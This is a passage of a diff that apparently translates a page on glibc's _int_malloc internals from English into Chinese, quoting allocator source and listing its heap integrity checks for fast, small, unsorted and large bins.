("malloc(): memory corruption (fast)"); - check_remalloced_chunk (av, victim, nb); +if (SINGLE_THREAD_P) +*fb = REVEAL_PTR (victim->fd); +else +REMOVE_FB (fb, pp, victim); +if (__glibc_likely (victim != NULL)) +{ +size_t victim_idx = fastbin_index (chunksize (victim)); +if (__builtin_expect (victim_idx != idx, 0)) +malloc_printerr ("malloc(): memory corruption (fast)"); +check_remalloced_chunk (av, victim, nb); #if USE_TCACHE - /* While we're here, if we see other chunks of the same size, - stash them in the tcache. */ - size_t tc_idx = csize2tidx (nb); - if (tcache != NULL && tc_idx < mp_.tcache_bins) - { - mchunkptr tc_victim; +/* While we're here, if we see other chunks of the same size, +stash them in the tcache. */ +size_t tc_idx = csize2tidx (nb); +if (tcache != NULL && tc_idx < mp_.tcache_bins) +{ +mchunkptr tc_victim; - /* While bin not empty and tcache not full, copy chunks. */ - while (tcache->counts[tc_idx] < mp_.tcache_count - && (tc_victim = *fb) != NULL) - { - if (__glibc_unlikely (misaligned_chunk (tc_victim))) - malloc_printerr ("malloc(): unaligned fastbin chunk detected 3"); - if (SINGLE_THREAD_P) - *fb = REVEAL_PTR (tc_victim->fd); - else - { - REMOVE_FB (fb, pp, tc_victim); - if (__glibc_unlikely (tc_victim == NULL)) - break; - } - tcache_put (tc_victim, tc_idx); - } - } +/* While bin not empty and tcache not full, copy chunks. */ +while (tcache->counts[tc_idx] < mp_.tcache_count +&& (tc_victim = *fb) != NULL) +{ +if (__glibc_unlikely (misaligned_chunk (tc_victim))) +malloc_printerr ("malloc(): unaligned fastbin chunk detected 3"); +if (SINGLE_THREAD_P) +*fb = REVEAL_PTR (tc_victim->fd); +else +{ +REMOVE_FB (fb, pp, tc_victim); +if (__glibc_unlikely (tc_victim == NULL)) +break; +} +tcache_put (tc_victim, tc_idx); +} +} #endif - void *p = chunk2mem (victim); - alloc_perturb (p, bytes); - return p; - } - } - } +void *p = chunk2mem (victim); +alloc_perturb (p, bytes); +return p; +} +} +} ``` -
-### Small Bin +### 小型堆 -As indicated in a comment, small bins hold one size per index, therefore checking if a valid chunk is available is super fast, so after fast bins, small bins are checked. +正如评论中所指出的,小型堆每个索引只保存一种大小,因此检查是否有有效的块可用是非常快速的,因此在快速堆之后,会检查小型堆。 -The first check is to find out if the requested size could be inside a small bin. In that case, get the corresponded **index** inside the smallbin and see if there is **any available chunk**. +第一次检查是找出请求的大小是否可能在小型堆中。在这种情况下,获取小型堆中对应的 **索引** 并查看是否有 **任何可用块**。 -Then, a security check is performed checking: +然后,进行安全检查,检查: -- if `victim->bk->fd = victim`. To see that both chunks are correctly linked. +- 如果 `victim->bk->fd = victim`。以确保两个块正确链接。 -In that case, the chunk **gets the `inuse` bit,** the doubled linked list is fixed so this chunk disappears from it (as it's going to be used), and the non main arena bit is set if needed. +在这种情况下,块 **设置 `inuse` 位,** 双向链表被修复,因此该块从中消失(因为它将被使用),并在需要时设置非主区域位。 -Finally, **fill the tcache index of the requested size** with other chunks inside the small bin (if any). +最后,**用小型堆中的其他块(如果有)填充请求大小的 tcache 索引**。
-_int_malloc small bin - +_int_malloc 小型堆 ```c // From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L3895C3-L3967C6 /* - If a small request, check regular bin. Since these "smallbins" - hold one size each, no searching within bins is necessary. - (For a large request, we need to wait until unsorted chunks are - processed to find best fit. But for small ones, fits are exact - anyway, so we can check now, which is faster.) - */ +If a small request, check regular bin. Since these "smallbins" +hold one size each, no searching within bins is necessary. +(For a large request, we need to wait until unsorted chunks are +processed to find best fit. But for small ones, fits are exact +anyway, so we can check now, which is faster.) +*/ - if (in_smallbin_range (nb)) - { - idx = smallbin_index (nb); - bin = bin_at (av, idx); +if (in_smallbin_range (nb)) +{ +idx = smallbin_index (nb); +bin = bin_at (av, idx); - if ((victim = last (bin)) != bin) - { - bck = victim->bk; - if (__glibc_unlikely (bck->fd != victim)) - malloc_printerr ("malloc(): smallbin double linked list corrupted"); - set_inuse_bit_at_offset (victim, nb); - bin->bk = bck; - bck->fd = bin; +if ((victim = last (bin)) != bin) +{ +bck = victim->bk; +if (__glibc_unlikely (bck->fd != victim)) +malloc_printerr ("malloc(): smallbin double linked list corrupted"); +set_inuse_bit_at_offset (victim, nb); +bin->bk = bck; +bck->fd = bin; - if (av != &main_arena) - set_non_main_arena (victim); - check_malloced_chunk (av, victim, nb); +if (av != &main_arena) +set_non_main_arena (victim); +check_malloced_chunk (av, victim, nb); #if USE_TCACHE - /* While we're here, if we see other chunks of the same size, - stash them in the tcache. */ - size_t tc_idx = csize2tidx (nb); - if (tcache != NULL && tc_idx < mp_.tcache_bins) - { - mchunkptr tc_victim; +/* While we're here, if we see other chunks of the same size, +stash them in the tcache. */ +size_t tc_idx = csize2tidx (nb); +if (tcache != NULL && tc_idx < mp_.tcache_bins) +{ +mchunkptr tc_victim; - /* While bin not empty and tcache not full, copy chunks over. */ - while (tcache->counts[tc_idx] < mp_.tcache_count - && (tc_victim = last (bin)) != bin) - { - if (tc_victim != 0) - { - bck = tc_victim->bk; - set_inuse_bit_at_offset (tc_victim, nb); - if (av != &main_arena) - set_non_main_arena (tc_victim); - bin->bk = bck; - bck->fd = bin; +/* While bin not empty and tcache not full, copy chunks over. */ +while (tcache->counts[tc_idx] < mp_.tcache_count +&& (tc_victim = last (bin)) != bin) +{ +if (tc_victim != 0) +{ +bck = tc_victim->bk; +set_inuse_bit_at_offset (tc_victim, nb); +if (av != &main_arena) +set_non_main_arena (tc_victim); +bin->bk = bck; +bck->fd = bin; - tcache_put (tc_victim, tc_idx); - } - } - } +tcache_put (tc_victim, tc_idx); +} +} +} #endif - void *p = chunk2mem (victim); - alloc_perturb (p, bytes); - return p; - } - } +void *p = chunk2mem (victim); +alloc_perturb (p, bytes); +return p; +} +} ``` -
### malloc_consolidate -If it wasn't a small chunk, it's a large chunk, and in this case **`malloc_consolidate`** is called to avoid memory fragmentation. +如果它不是一个小块,那就是一个大块,在这种情况下调用 **`malloc_consolidate`** 以避免内存碎片。
-malloc_consolidate call - +malloc_consolidate 调用 ```c /* - If this is a large request, consolidate fastbins before continuing. - While it might look excessive to kill all fastbins before - even seeing if there is space available, this avoids - fragmentation problems normally associated with fastbins. - Also, in practice, programs tend to have runs of either small or - large requests, but less often mixtures, so consolidation is not - invoked all that often in most programs. And the programs that - it is called frequently in otherwise tend to fragment. - */ +If this is a large request, consolidate fastbins before continuing. +While it might look excessive to kill all fastbins before +even seeing if there is space available, this avoids +fragmentation problems normally associated with fastbins. +Also, in practice, programs tend to have runs of either small or +large requests, but less often mixtures, so consolidation is not +invoked all that often in most programs. And the programs that +it is called frequently in otherwise tend to fragment. +*/ - else - { - idx = largebin_index (nb); - if (atomic_load_relaxed (&av->have_fastchunks)) - malloc_consolidate (av); - } +else +{ +idx = largebin_index (nb); +if (atomic_load_relaxed (&av->have_fastchunks)) +malloc_consolidate (av); +} ``` -
-The malloc consolidate function basically removes chunks from the fast bin and places them into the unsorted bin. After the next malloc these chunks will be organized in their respective small/fast bins. +malloc consolidate 函数基本上从快速 bin 中移除块,并将它们放入未排序的 bin 中。在下一个 malloc 之后,这些块将被组织到各自的小/快速 bins 中。 -Note that if while removing these chunks, if they are found with previous or next chunks that aren't in use they will be **unliked and merged** before placing the final chunk in the **unsorted** bin. +请注意,如果在移除这些块时,发现它们与未使用的前一个或下一个块相连,它们将被 **解除链接并合并**,然后将最终块放入 **未排序** bin 中。 -For each fast bin chunk a couple of security checks are performed: +对于每个快速 bin 块,会执行几个安全检查: -- If the chunk is unaligned trigger: `malloc_consolidate(): unaligned fastbin chunk detected` -- If the chunk has a different size that the one it should because of the index it's in: `malloc_consolidate(): invalid chunk size` -- If the previous chunk is not in use and the previous chunk has a size different of the one indicated by `prev_chunk`: `corrupted size vs. prev_size in fastbins` +- 如果块未对齐,触发: `malloc_consolidate(): unaligned fastbin chunk detected` +- 如果块的大小与其所在索引应有的大小不同: `malloc_consolidate(): invalid chunk size` +- 如果前一个块未使用,并且前一个块的大小与 `prev_chunk` 指示的大小不同: `corrupted size vs. prev_size in fastbins`
malloc_consolidate function - ```c // https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L4810C1-L4905C2 static void malloc_consolidate(mstate av) { - mfastbinptr* fb; /* current fastbin being consolidated */ - mfastbinptr* maxfb; /* last fastbin (for loop control) */ - mchunkptr p; /* current chunk being consolidated */ - mchunkptr nextp; /* next chunk to consolidate */ - mchunkptr unsorted_bin; /* bin header */ - mchunkptr first_unsorted; /* chunk to link to */ +mfastbinptr* fb; /* current fastbin being consolidated */ +mfastbinptr* maxfb; /* last fastbin (for loop control) */ +mchunkptr p; /* current chunk being consolidated */ +mchunkptr nextp; /* next chunk to consolidate */ +mchunkptr unsorted_bin; /* bin header */ +mchunkptr first_unsorted; /* chunk to link to */ - /* These have same use as in free() */ - mchunkptr nextchunk; - INTERNAL_SIZE_T size; - INTERNAL_SIZE_T nextsize; - INTERNAL_SIZE_T prevsize; - int nextinuse; +/* These have same use as in free() */ +mchunkptr nextchunk; +INTERNAL_SIZE_T size; +INTERNAL_SIZE_T nextsize; +INTERNAL_SIZE_T prevsize; +int nextinuse; - atomic_store_relaxed (&av->have_fastchunks, false); +atomic_store_relaxed (&av->have_fastchunks, false); - unsorted_bin = unsorted_chunks(av); +unsorted_bin = unsorted_chunks(av); - /* - Remove each chunk from fast bin and consolidate it, placing it - then in unsorted bin. Among other reasons for doing this, - placing in unsorted bin avoids needing to calculate actual bins - until malloc is sure that chunks aren't immediately going to be - reused anyway. - */ +/* +Remove each chunk from fast bin and consolidate it, placing it +then in unsorted bin. Among other reasons for doing this, +placing in unsorted bin avoids needing to calculate actual bins +until malloc is sure that chunks aren't immediately going to be +reused anyway. +*/ - maxfb = &fastbin (av, NFASTBINS - 1); - fb = &fastbin (av, 0); - do { - p = atomic_exchange_acquire (fb, NULL); - if (p != 0) { - do { - { - if (__glibc_unlikely (misaligned_chunk (p))) - malloc_printerr ("malloc_consolidate(): " - "unaligned fastbin chunk detected"); +maxfb = &fastbin (av, NFASTBINS - 1); +fb = &fastbin (av, 0); +do { +p = atomic_exchange_acquire (fb, NULL); +if (p != 0) { +do { +{ +if (__glibc_unlikely (misaligned_chunk (p))) +malloc_printerr ("malloc_consolidate(): " +"unaligned fastbin chunk detected"); - unsigned int idx = fastbin_index (chunksize (p)); - if ((&fastbin (av, idx)) != fb) - malloc_printerr ("malloc_consolidate(): invalid chunk size"); - } +unsigned int idx = fastbin_index (chunksize (p)); +if ((&fastbin (av, idx)) != fb) +malloc_printerr ("malloc_consolidate(): invalid chunk size"); +} - check_inuse_chunk(av, p); - nextp = REVEAL_PTR (p->fd); +check_inuse_chunk(av, p); +nextp = REVEAL_PTR (p->fd); - /* Slightly streamlined version of consolidation code in free() */ - size = chunksize (p); - nextchunk = chunk_at_offset(p, size); - nextsize = chunksize(nextchunk); +/* Slightly streamlined version of consolidation code in free() */ +size = chunksize (p); +nextchunk = chunk_at_offset(p, size); +nextsize = chunksize(nextchunk); - if (!prev_inuse(p)) { - prevsize = prev_size (p); - size += prevsize; - p = chunk_at_offset(p, -((long) prevsize)); - if (__glibc_unlikely (chunksize(p) != prevsize)) - malloc_printerr ("corrupted size vs. prev_size in fastbins"); - unlink_chunk (av, p); - } +if (!prev_inuse(p)) { +prevsize = prev_size (p); +size += prevsize; +p = chunk_at_offset(p, -((long) prevsize)); +if (__glibc_unlikely (chunksize(p) != prevsize)) +malloc_printerr ("corrupted size vs. prev_size in fastbins"); +unlink_chunk (av, p); +} - if (nextchunk != av->top) { - nextinuse = inuse_bit_at_offset(nextchunk, nextsize); +if (nextchunk != av->top) { +nextinuse = inuse_bit_at_offset(nextchunk, nextsize); - if (!nextinuse) { - size += nextsize; - unlink_chunk (av, nextchunk); - } else - clear_inuse_bit_at_offset(nextchunk, 0); +if (!nextinuse) { +size += nextsize; +unlink_chunk (av, nextchunk); +} else +clear_inuse_bit_at_offset(nextchunk, 0); - first_unsorted = unsorted_bin->fd; - unsorted_bin->fd = p; - first_unsorted->bk = p; +first_unsorted = unsorted_bin->fd; +unsorted_bin->fd = p; +first_unsorted->bk = p; - if (!in_smallbin_range (size)) { - p->fd_nextsize = NULL; - p->bk_nextsize = NULL; - } +if (!in_smallbin_range (size)) { +p->fd_nextsize = NULL; +p->bk_nextsize = NULL; +} - set_head(p, size | PREV_INUSE); - p->bk = unsorted_bin; - p->fd = first_unsorted; - set_foot(p, size); - } +set_head(p, size | PREV_INUSE); +p->bk = unsorted_bin; +p->fd = first_unsorted; +set_foot(p, size); +} - else { - size += nextsize; - set_head(p, size | PREV_INUSE); - av->top = p; - } +else { +size += nextsize; +set_head(p, size | PREV_INUSE); +av->top = p; +} - } while ( (p = nextp) != 0); +} while ( (p = nextp) != 0); - } - } while (fb++ != maxfb); +} +} while (fb++ != maxfb); } ``` -
-### Unsorted bin +### 未排序的堆 -It's time to check the unsorted bin for a potential valid chunk to use. +是时候检查未排序的堆以寻找潜在的有效块来使用。 -#### Start +#### 开始 -This starts with a big for look that will be traversing the unsorted bin in the `bk` direction until it arrives til the end (the arena struct) with `while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))` +这从一个大的 for 循环开始,该循环将沿着 `bk` 方向遍历未排序的堆,直到到达末尾(arena 结构),使用 `while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))` -Moreover, some security checks are perform every time a new chunk is considered: +此外,每当考虑一个新块时都会进行一些安全检查: -- If the chunk size is weird (too small or too big): `malloc(): invalid size (unsorted)` -- If the next chunk size is weird (too small or too big): `malloc(): invalid next size (unsorted)` -- If the previous size indicated by the next chunk differs from the size of the chunk: `malloc(): mismatching next->prev_size (unsorted)` -- If not `victim->bck->fd == victim` or not `victim->fd == av` (arena): `malloc(): unsorted double linked list corrupted` - - As we are always checking the las one, it's `fd` should be pointing always to the arena struct. -- If the next chunk isn't indicating that the previous is in use: `malloc(): invalid next->prev_inuse (unsorted)` +- 如果块大小异常(太小或太大):`malloc(): invalid size (unsorted)` +- 如果下一个块大小异常(太小或太大):`malloc(): invalid next size (unsorted)` +- 如果下一个块指示的前一个大小与块的大小不同:`malloc(): mismatching next->prev_size (unsorted)` +- 如果不是 `victim->bck->fd == victim` 或不是 `victim->fd == av`(arena):`malloc(): unsorted double linked list corrupted` +- 由于我们始终检查最后一个,它的 `fd` 应始终指向 arena 结构。 +- 如果下一个块没有指示前一个块正在使用:`malloc(): invalid next->prev_inuse (unsorted)`
-_int_malloc unsorted bin start - +_int_malloc 未排序的堆开始 ```c /* - Process recently freed or remaindered chunks, taking one only if - it is exact fit, or, if this a small request, the chunk is remainder from - the most recent non-exact fit. Place other traversed chunks in - bins. Note that this step is the only place in any routine where - chunks are placed in bins. +Process recently freed or remaindered chunks, taking one only if +it is exact fit, or, if this a small request, the chunk is remainder from +the most recent non-exact fit. Place other traversed chunks in +bins. Note that this step is the only place in any routine where +chunks are placed in bins. - The outer loop here is needed because we might not realize until - near the end of malloc that we should have consolidated, so must - do so and retry. This happens at most once, and only when we would - otherwise need to expand memory to service a "small" request. - */ +The outer loop here is needed because we might not realize until +near the end of malloc that we should have consolidated, so must +do so and retry. This happens at most once, and only when we would +otherwise need to expand memory to service a "small" request. +*/ #if USE_TCACHE - INTERNAL_SIZE_T tcache_nb = 0; - size_t tc_idx = csize2tidx (nb); - if (tcache != NULL && tc_idx < mp_.tcache_bins) - tcache_nb = nb; - int return_cached = 0; +INTERNAL_SIZE_T tcache_nb = 0; +size_t tc_idx = csize2tidx (nb); +if (tcache != NULL && tc_idx < mp_.tcache_bins) +tcache_nb = nb; +int return_cached = 0; - tcache_unsorted_count = 0; +tcache_unsorted_count = 0; #endif - for (;; ) - { - int iters = 0; - while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av)) - { - bck = victim->bk; - size = chunksize (victim); - mchunkptr next = chunk_at_offset (victim, size); +for (;; ) +{ +int iters = 0; +while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av)) +{ +bck = victim->bk; +size = chunksize (victim); +mchunkptr next = chunk_at_offset (victim, size); - if (__glibc_unlikely (size <= CHUNK_HDR_SZ) - || __glibc_unlikely (size > av->system_mem)) - malloc_printerr ("malloc(): invalid size (unsorted)"); - if (__glibc_unlikely (chunksize_nomask (next) < CHUNK_HDR_SZ) - || __glibc_unlikely (chunksize_nomask (next) > av->system_mem)) - malloc_printerr ("malloc(): invalid next size (unsorted)"); - if (__glibc_unlikely ((prev_size (next) & ~(SIZE_BITS)) != size)) - malloc_printerr ("malloc(): mismatching next->prev_size (unsorted)"); - if (__glibc_unlikely (bck->fd != victim) - || __glibc_unlikely (victim->fd != unsorted_chunks (av))) - malloc_printerr ("malloc(): unsorted double linked list corrupted"); - if (__glibc_unlikely (prev_inuse (next))) - malloc_printerr ("malloc(): invalid next->prev_inuse (unsorted)"); +if (__glibc_unlikely (size <= CHUNK_HDR_SZ) +|| __glibc_unlikely (size > av->system_mem)) +malloc_printerr ("malloc(): invalid size (unsorted)"); +if (__glibc_unlikely (chunksize_nomask (next) < CHUNK_HDR_SZ) +|| __glibc_unlikely (chunksize_nomask (next) > av->system_mem)) +malloc_printerr ("malloc(): invalid next size (unsorted)"); +if (__glibc_unlikely ((prev_size (next) & ~(SIZE_BITS)) != size)) +malloc_printerr ("malloc(): mismatching next->prev_size (unsorted)"); +if (__glibc_unlikely (bck->fd != victim) +|| __glibc_unlikely (victim->fd != unsorted_chunks (av))) +malloc_printerr ("malloc(): unsorted double linked list corrupted"); +if (__glibc_unlikely (prev_inuse (next))) +malloc_printerr ("malloc(): invalid next->prev_inuse (unsorted)"); ``` -
-#### if `in_smallbin_range` +#### 如果 `in_smallbin_range` -If the chunk is bigger than the requested size use it, and set the rest of the chunk space into the unsorted list and update the `last_remainder` with it. +如果块的大小大于请求的大小,则使用它,并将块的其余空间设置为未排序列表,并用它更新 `last_remainder`。
-_int_malloc unsorted bin in_smallbin_range - +_int_malloc 未排序的 bin in_smallbin_range ```c // From https://github.com/bminor/glibc/blob/master/malloc/malloc.c#L4090C11-L4124C14 /* - If a small request, try to use last remainder if it is the - only chunk in unsorted bin. This helps promote locality for - runs of consecutive small requests. This is the only - exception to best-fit, and applies only when there is - no exact fit for a small chunk. - */ +If a small request, try to use last remainder if it is the +only chunk in unsorted bin. This helps promote locality for +runs of consecutive small requests. This is the only +exception to best-fit, and applies only when there is +no exact fit for a small chunk. +*/ - if (in_smallbin_range (nb) && - bck == unsorted_chunks (av) && - victim == av->last_remainder && - (unsigned long) (size) > (unsigned long) (nb + MINSIZE)) - { - /* split and reattach remainder */ - remainder_size = size - nb; - remainder = chunk_at_offset (victim, nb); - unsorted_chunks (av)->bk = unsorted_chunks (av)->fd = remainder; - av->last_remainder = remainder; - remainder->bk = remainder->fd = unsorted_chunks (av); - if (!in_smallbin_range (remainder_size)) - { - remainder->fd_nextsize = NULL; - remainder->bk_nextsize = NULL; - } +if (in_smallbin_range (nb) && +bck == unsorted_chunks (av) && +victim == av->last_remainder && +(unsigned long) (size) > (unsigned long) (nb + MINSIZE)) +{ +/* split and reattach remainder */ +remainder_size = size - nb; +remainder = chunk_at_offset (victim, nb); +unsorted_chunks (av)->bk = unsorted_chunks (av)->fd = remainder; +av->last_remainder = remainder; +remainder->bk = remainder->fd = unsorted_chunks (av); +if (!in_smallbin_range (remainder_size)) +{ +remainder->fd_nextsize = NULL; +remainder->bk_nextsize = NULL; +} - set_head (victim, nb | PREV_INUSE | - (av != &main_arena ? NON_MAIN_ARENA : 0)); - set_head (remainder, remainder_size | PREV_INUSE); - set_foot (remainder, remainder_size); +set_head (victim, nb | PREV_INUSE | +(av != &main_arena ? NON_MAIN_ARENA : 0)); +set_head (remainder, remainder_size | PREV_INUSE); +set_foot (remainder, remainder_size); - check_malloced_chunk (av, victim, nb); - void *p = chunk2mem (victim); - alloc_perturb (p, bytes); - return p; - } +check_malloced_chunk (av, victim, nb); +void *p = chunk2mem (victim); +alloc_perturb (p, bytes); +return p; +} ``` -
-If this was successful, return the chunk ant it's over, if not, continue executing the function... +如果成功,返回块并结束,如果不成功,继续执行函数... -#### if equal size +#### 如果大小相等 -Continue removing the chunk from the bin, in case the requested size is exactly the one of the chunk: +继续从堆中移除块,以防请求的大小正好是块的大小: -- If the tcache is not filled, add it to the tcache and continue indicating that there is a tcache chunk that could be used -- If tcache is full, just use it returning it +- 如果 tcache 没有填满,将其添加到 tcache 中,并继续指示可以使用 tcache 块 +- 如果 tcache 已满,则直接使用它并返回
-_int_malloc unsorted bin equal size - +_int_malloc 未排序堆相等大小 ```c // From https://github.com/bminor/glibc/blob/master/malloc/malloc.c#L4126C11-L4157C14 /* remove from unsorted list */ - unsorted_chunks (av)->bk = bck; - bck->fd = unsorted_chunks (av); +unsorted_chunks (av)->bk = bck; +bck->fd = unsorted_chunks (av); - /* Take now instead of binning if exact fit */ +/* Take now instead of binning if exact fit */ - if (size == nb) - { - set_inuse_bit_at_offset (victim, size); - if (av != &main_arena) - set_non_main_arena (victim); +if (size == nb) +{ +set_inuse_bit_at_offset (victim, size); +if (av != &main_arena) +set_non_main_arena (victim); #if USE_TCACHE - /* Fill cache first, return to user only if cache fills. - We may return one of these chunks later. */ - if (tcache_nb > 0 - && tcache->counts[tc_idx] < mp_.tcache_count) - { - tcache_put (victim, tc_idx); - return_cached = 1; - continue; - } - else - { +/* Fill cache first, return to user only if cache fills. +We may return one of these chunks later. */ +if (tcache_nb > 0 +&& tcache->counts[tc_idx] < mp_.tcache_count) +{ +tcache_put (victim, tc_idx); +return_cached = 1; +continue; +} +else +{ #endif - check_malloced_chunk (av, victim, nb); - void *p = chunk2mem (victim); - alloc_perturb (p, bytes); - return p; +check_malloced_chunk (av, victim, nb); +void *p = chunk2mem (victim); +alloc_perturb (p, bytes); +return p; #if USE_TCACHE - } +} #endif - } +} ``` -
-If chunk not returned or added to tcache, continue with the code... +如果块没有返回或添加到 tcache,继续执行代码... -#### place chunk in a bin +#### 将块放入一个桶 -Store the checked chunk in the small bin or in the large bin according to the size of the chunk (keeping the large bin properly organized). +根据块的大小将检查过的块存储在小桶或大桶中(保持大桶的正确组织)。 -There are security checks being performed to make sure both large bin doubled linked list are corrupted: +正在执行安全检查,以确保两个大桶的双向链表没有损坏: -- If `fwd->bk_nextsize->fd_nextsize != fwd`: `malloc(): largebin double linked list corrupted (nextsize)` -- If `fwd->bk->fd != fwd`: `malloc(): largebin double linked list corrupted (bk)` +- 如果 `fwd->bk_nextsize->fd_nextsize != fwd`: `malloc(): largebin double linked list corrupted (nextsize)` +- 如果 `fwd->bk->fd != fwd`: `malloc(): largebin double linked list corrupted (bk)`
-_int_malloc place chunk in a bin - +_int_malloc 将块放入一个桶 ```c /* place chunk in bin */ - if (in_smallbin_range (size)) - { - victim_index = smallbin_index (size); - bck = bin_at (av, victim_index); - fwd = bck->fd; - } - else - { - victim_index = largebin_index (size); - bck = bin_at (av, victim_index); - fwd = bck->fd; +if (in_smallbin_range (size)) +{ +victim_index = smallbin_index (size); +bck = bin_at (av, victim_index); +fwd = bck->fd; +} +else +{ +victim_index = largebin_index (size); +bck = bin_at (av, victim_index); +fwd = bck->fd; - /* maintain large bins in sorted order */ - if (fwd != bck) - { - /* Or with inuse bit to speed comparisons */ - size |= PREV_INUSE; - /* if smaller than smallest, bypass loop below */ - assert (chunk_main_arena (bck->bk)); - if ((unsigned long) (size) - < (unsigned long) chunksize_nomask (bck->bk)) - { - fwd = bck; - bck = bck->bk; +/* maintain large bins in sorted order */ +if (fwd != bck) +{ +/* Or with inuse bit to speed comparisons */ +size |= PREV_INUSE; +/* if smaller than smallest, bypass loop below */ +assert (chunk_main_arena (bck->bk)); +if ((unsigned long) (size) +< (unsigned long) chunksize_nomask (bck->bk)) +{ +fwd = bck; +bck = bck->bk; - victim->fd_nextsize = fwd->fd; - victim->bk_nextsize = fwd->fd->bk_nextsize; - fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim; - } - else - { - assert (chunk_main_arena (fwd)); - while ((unsigned long) size < chunksize_nomask (fwd)) - { - fwd = fwd->fd_nextsize; - assert (chunk_main_arena (fwd)); - } +victim->fd_nextsize = fwd->fd; +victim->bk_nextsize = fwd->fd->bk_nextsize; +fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim; +} +else +{ +assert (chunk_main_arena (fwd)); +while ((unsigned long) size < chunksize_nomask (fwd)) +{ +fwd = fwd->fd_nextsize; +assert (chunk_main_arena (fwd)); +} - if ((unsigned long) size - == (unsigned long) chunksize_nomask (fwd)) - /* Always insert in the second position. */ - fwd = fwd->fd; - else - { - victim->fd_nextsize = fwd; - victim->bk_nextsize = fwd->bk_nextsize; - if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd)) - malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)"); - fwd->bk_nextsize = victim; - victim->bk_nextsize->fd_nextsize = victim; - } - bck = fwd->bk; - if (bck->fd != fwd) - malloc_printerr ("malloc(): largebin double linked list corrupted (bk)"); - } - } - else - victim->fd_nextsize = victim->bk_nextsize = victim; - } +if ((unsigned long) size +== (unsigned long) chunksize_nomask (fwd)) +/* Always insert in the second position. */ +fwd = fwd->fd; +else +{ +victim->fd_nextsize = fwd; +victim->bk_nextsize = fwd->bk_nextsize; +if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd)) +malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)"); +fwd->bk_nextsize = victim; +victim->bk_nextsize->fd_nextsize = victim; +} +bck = fwd->bk; +if (bck->fd != fwd) +malloc_printerr ("malloc(): largebin double linked list corrupted (bk)"); +} +} +else +victim->fd_nextsize = victim->bk_nextsize = victim; +} - mark_bin (av, victim_index); - victim->bk = bck; - victim->fd = fwd; - fwd->bk = victim; - bck->fd = victim; +mark_bin (av, victim_index); +victim->bk = bck; +victim->fd = fwd; +fwd->bk = victim; +bck->fd = victim; ``` -
-#### `_int_malloc` limits +#### `_int_malloc` 限制 -At this point, if some chunk was stored in the tcache that can be used and the limit is reached, just **return a tcache chunk**. +在这一点上,如果某个块存储在 tcache 中并且可以使用且达到了限制,就**返回一个 tcache 块**。 -Moreover, if **MAX_ITERS** is reached, break from the loop for and get a chunk in a different way (top chunk). +此外,如果达到了 **MAX_ITERS**,则从循环中退出并以不同的方式获取一个块(顶块)。 -If `return_cached` was set, just return a chunk from the tcache to avoid larger searches. +如果设置了 `return_cached`,则只需从 tcache 返回一个块以避免更大的搜索。
-_int_malloc limits - +_int_malloc 限制 ```c // From https://github.com/bminor/glibc/blob/master/malloc/malloc.c#L4227C1-L4250C7 #if USE_TCACHE - /* If we've processed as many chunks as we're allowed while - filling the cache, return one of the cached ones. */ - ++tcache_unsorted_count; - if (return_cached - && mp_.tcache_unsorted_limit > 0 - && tcache_unsorted_count > mp_.tcache_unsorted_limit) - { - return tcache_get (tc_idx); - } +/* If we've processed as many chunks as we're allowed while +filling the cache, return one of the cached ones. */ +++tcache_unsorted_count; +if (return_cached +&& mp_.tcache_unsorted_limit > 0 +&& tcache_unsorted_count > mp_.tcache_unsorted_limit) +{ +return tcache_get (tc_idx); +} #endif #define MAX_ITERS 10000 - if (++iters >= MAX_ITERS) - break; - } +if (++iters >= MAX_ITERS) +break; +} #if USE_TCACHE - /* If all the small chunks we found ended up cached, return one now. */ - if (return_cached) - { - return tcache_get (tc_idx); - } +/* If all the small chunks we found ended up cached, return one now. */ +if (return_cached) +{ +return tcache_get (tc_idx); +} #endif ``` -
-If limits not reached, continue with the code... +如果未达到限制,请继续代码... -### Large Bin (by index) +### 大块(按索引) -If the request is large (not in small bin) and we haven't yet returned any chunk, get the **index** of the requested size in the **large bin**, check if **not empty** of if the **biggest chunk in this bin is bigger** than the requested size and in that case find the **smallest chunk that can be used** for the requested size. +如果请求很大(不在小块中),并且我们尚未返回任何块,请获取所请求大小在**大块**中的**索引**,检查是否**不为空**,或者如果**此块中最大的块大于**所请求的大小,在这种情况下找到**可以用于所请求大小的最小块**。 -If the reminder space from the finally used chunk can be a new chunk, add it to the unsorted bin and the lsast_reminder is updated. +如果最终使用的块的剩余空间可以成为一个新块,则将其添加到未排序的块中,并更新last_reminder。 -A security check is made when adding the reminder to the unsorted bin: +在将剩余空间添加到未排序的块时会进行安全检查: - `bck->fd-> bk != bck`: `malloc(): corrupted unsorted chunks`
-_int_malloc Large bin (by index) - +_int_malloc 大块(按索引) ```c // From https://github.com/bminor/glibc/blob/master/malloc/malloc.c#L4252C7-L4317C10 /* - If a large request, scan through the chunks of current bin in - sorted order to find smallest that fits. Use the skip list for this. - */ +If a large request, scan through the chunks of current bin in +sorted order to find smallest that fits. Use the skip list for this. +*/ - if (!in_smallbin_range (nb)) - { - bin = bin_at (av, idx); +if (!in_smallbin_range (nb)) +{ +bin = bin_at (av, idx); - /* skip scan if empty or largest chunk is too small */ - if ((victim = first (bin)) != bin - && (unsigned long) chunksize_nomask (victim) - >= (unsigned long) (nb)) - { - victim = victim->bk_nextsize; - while (((unsigned long) (size = chunksize (victim)) < - (unsigned long) (nb))) - victim = victim->bk_nextsize; +/* skip scan if empty or largest chunk is too small */ +if ((victim = first (bin)) != bin +&& (unsigned long) chunksize_nomask (victim) +>= (unsigned long) (nb)) +{ +victim = victim->bk_nextsize; +while (((unsigned long) (size = chunksize (victim)) < +(unsigned long) (nb))) +victim = victim->bk_nextsize; - /* Avoid removing the first entry for a size so that the skip - list does not have to be rerouted. */ - if (victim != last (bin) - && chunksize_nomask (victim) - == chunksize_nomask (victim->fd)) - victim = victim->fd; +/* Avoid removing the first entry for a size so that the skip +list does not have to be rerouted. 